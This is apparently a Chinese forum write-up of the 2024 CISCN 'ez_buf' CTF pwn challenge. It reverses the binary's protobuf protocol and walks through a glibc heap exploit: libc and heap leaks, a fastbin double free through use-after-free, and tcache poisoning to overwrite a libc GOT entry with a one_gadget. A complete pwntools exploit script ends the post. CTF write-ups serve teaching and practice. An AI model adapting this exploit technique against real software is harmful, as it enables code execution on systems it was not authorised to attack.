2024ciscn-ez_buf分析
PaT1Ent 发表于 山东 CTF 890浏览 · 2024-05-29 10:06

2024ciscn-ez_buf分析

生成proto文件

protobuf类型的题目
首先要逆协议,逆协议有两种方式

1.pbtk直接逆向

直接下载去github上面下载pbtk
https://github.com/marin-m/pbtk
然后在 extractors 目录下运行
python from_binary.py pwn ./
这个题目梭不出来,所以只能手动逆向
梭不出来,直接逆向

2.手动逆向

根据题目里面的特征和相应的类型表来逆向
下面就以此题为例来逆一下
首先见到如下特征基本上就可以确定是protobuf类型的pwn题目


然后我们每个地点跳转一下
对应+0x8的位置是就是对应的idx
对应+0x10的位置是符号,根据这个符号去对类型表,就可以知道对应的类型


所以由这道题目可以写出
ctf.proto文件

syntax = "proto2";

package Devicemsg;

message pwn {
    optional bytes whatcon = 1;
    optional sint64 whattodo = 2;
    optional sint64 whatidx = 3;
    optional sint64 whatsize = 4;
    optional sint32 whatsthis = 5;
}

protobuf类型表

typedef enum {
0 PROTOBUF_C_TYPE_INT32,      /**< int32 */
1 PROTOBUF_C_TYPE_SINT32,     /**< signed int32 */
2 PROTOBUF_C_TYPE_SFIXED32,   /**< signed int32 (4 bytes) */
3 PROTOBUF_C_TYPE_INT64,      /**< int64 */
4 PROTOBUF_C_TYPE_SINT64,     /**< signed int64 */
5 PROTOBUF_C_TYPE_SFIXED64,   /**< signed int64 (8 bytes) */
6 PROTOBUF_C_TYPE_UINT32,     /**< unsigned int32 */
7 PROTOBUF_C_TYPE_FIXED32,    /**< unsigned int32 (4 bytes) */
8 PROTOBUF_C_TYPE_UINT64,     /**< unsigned int64 */
9 PROTOBUF_C_TYPE_FIXED64,    /**< unsigned int64 (8 bytes) */
A PROTOBUF_C_TYPE_FLOAT,      /**< float */
B PROTOBUF_C_TYPE_DOUBLE,     /**< double */
C PROTOBUF_C_TYPE_BOOL,       /**< boolean */
D PROTOBUF_C_TYPE_ENUM,       /**< enumerated type */
E PROTOBUF_C_TYPE_STRING,     /**< UTF-8 or ASCII string */
F PROTOBUF_C_TYPE_BYTES,      /**< arbitrary byte sequence */
10 PROTOBUF_C_TYPE_MESSAGE,    /**< nested message */
} ProtobufCType;

生成ctf_pb2文件

pip install google
pip install protobuf
protoc --python_out=./ ./ctf.proto

直接生成

思路分析


程序的入口在这


然后里面有四个选项,这个函数有6个参数
我们解析包只有五个参数,但这里有六个,所以仔细观察一下


add的a2其实是没用的


也就是a1其实是没用的,或者说他就是一个解析结构的参数
然后猜测我们在proto文件里面逆出来的结构就是从a2-a6
也就是这里的
optional bytes whatcon = 1;
optional sint64 whattodo = 2;
optional sint64 whatidx = 3;
optional sint64 whatsize = 4;
optional sint32 whatsthis = 5;
对应的就是a2-a6
还是拿add来验证一下

a4就是whatidx(3)
a2就是whatcon(1)

正好名字提示和里面的功能也能对的上,所以直接开始写
把ctf_pb2文件引用上
import ctf_pb2
然后定义一下

def add(idx,data):
    chunk = ctf_pb2.pwn()
    chunk.whatcon = data
    chunk.whattodo = 1
    chunk.whatidx = idx
    chunk.whatsize = 0
    chunk.whatsthis = 0
    p.sendafter("WANT?\n",chunk.SerializeToString())

def delete(idx):
    chunk = ctf_pb2.pwn()
    chunk.whatcon = b"0"
    chunk.whattodo = 2
    chunk.whatidx = idx
    chunk.whatsize = 0
    chunk.whatsthis = 0
    p.sendafter("WANT?\n",chunk.SerializeToString())

def show(idx):
    chunk = ctf_pb2.pwn()
    chunk.whatcon = b'0'
    chunk.whattodo = 3
    chunk.whatidx = idx
    chunk.whatsize = 0
    chunk.whatsthis = 0
    p.sendafter("WANT?\n",chunk.SerializeToString())


show这里其实不用管太多,能正常解析就行


在没有写任何东西的时候,smallbins里面就有个带libc的chunk
我们直接用add申请一个chunk
因为add里面有个memcpy复制写的操作,所以会生成俩chunk

add(0,b'b'*0x8)


这里申请8字节,先生成了一段0x20大小的chunk(从smallbins里面分割的,带有libc),然后复制到了一个0x40的chunk里面,我们直接show就可以了

add(0,b'b'*0x8)
show(0)
p.recvuntil(b'bbbbbbbb')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x21ace0
leak('libc_base',libc_base)


然后剩下的就是了,利用9个uaf去打fastbin
先泄露一下heap地址

for i in range(9):
    add(i+1,b'b'*0x8)

for i in range(7):
    delete(6-i)

show(6)
ru(b'Content:')
heap_addr=(u64(p.recv(5).ljust(8,b'\x00'))<<12)-0x4000
leak('heap_addr ',heap_addr)

根据最后一个chunk泄露就可以


之后就是fastbin double free了


然后把tcachebin里面的0x40的链子申请完

for i in range(7):
    add(i,b'a'*0x8)


然后改个ABS_got表

key=heap_addr>>12
leak('key ',key)
ABS=libc_base+0x21a098
leak('ABS',ABS)
pl=p64((ABS+0x8)^(key+4))
add(0,pl)


然后直接申请改成og就可以,这里对size没有检测

add(1,b'a'*8)
add(2,b'a'*8)
og=libc_base+0x10d9ca
add(3,p64(og)*4)
p.sendline('ls')

直接提权

exp

import os
import time
from pwn import *
from ctypes import *
import ctf_pb2

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def duan():
    gdb.attach(p)
    pause()

def add(idx,data):
    chunk = ctf_pb2.pwn()
    chunk.whatcon = data#.encode('utf-8')
    chunk.whattodo = 1
    chunk.whatidx = idx
    chunk.whatsize = 0
    chunk.whatsthis = 0
    p.sendafter("WANT?\n",chunk.SerializeToString())

def delete(idx):
    chunk = ctf_pb2.pwn()
    chunk.whatcon = b"0"
    chunk.whattodo = 2
    chunk.whatidx = idx
    chunk.whatsize = 0
    chunk.whatsthis = 0
    p.sendafter("WANT?\n",chunk.SerializeToString())

def show(idx):
    chunk = ctf_pb2.pwn()
    chunk.whatcon = b'0'
    chunk.whattodo = 3
    chunk.whatidx = idx
    chunk.whatsize = 0
    chunk.whatsthis = 0
    p.sendafter("WANT?\n",chunk.SerializeToString())

add(0,b'b'*0x8)
show(0)
p.recvuntil(b'Content:bbbbbbbb')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x21ace0
leak('libc_base',libc_base)

for i in range(9):
    add(i+1,b'b'*0x8)

for i in range(7):
    delete(6-i)


show(6)

ru(b'Content:')
heap_addr=(u64(p.recv(5).ljust(8,b'\x00'))<<12)-0x4000
leak('heap_addr ',heap_addr)


delete(7)
delete(8)
delete(7)

for i in range(7):
    add(i,b'a'*0x8)


key=heap_addr>>12
leak('key ',key)
ABS=libc_base+0x21a098
leak('ABS',ABS)

pl=p64((ABS+0x8)^(key+4))
add(0,pl)
add(1,b'a'*8)
add(2,b'a'*8)
og=libc_base+0x10d9ca
add(3,p64(og)*4)
p.sendline('ls')
itr()
附件:
0 条评论
某人
表情
可输入 255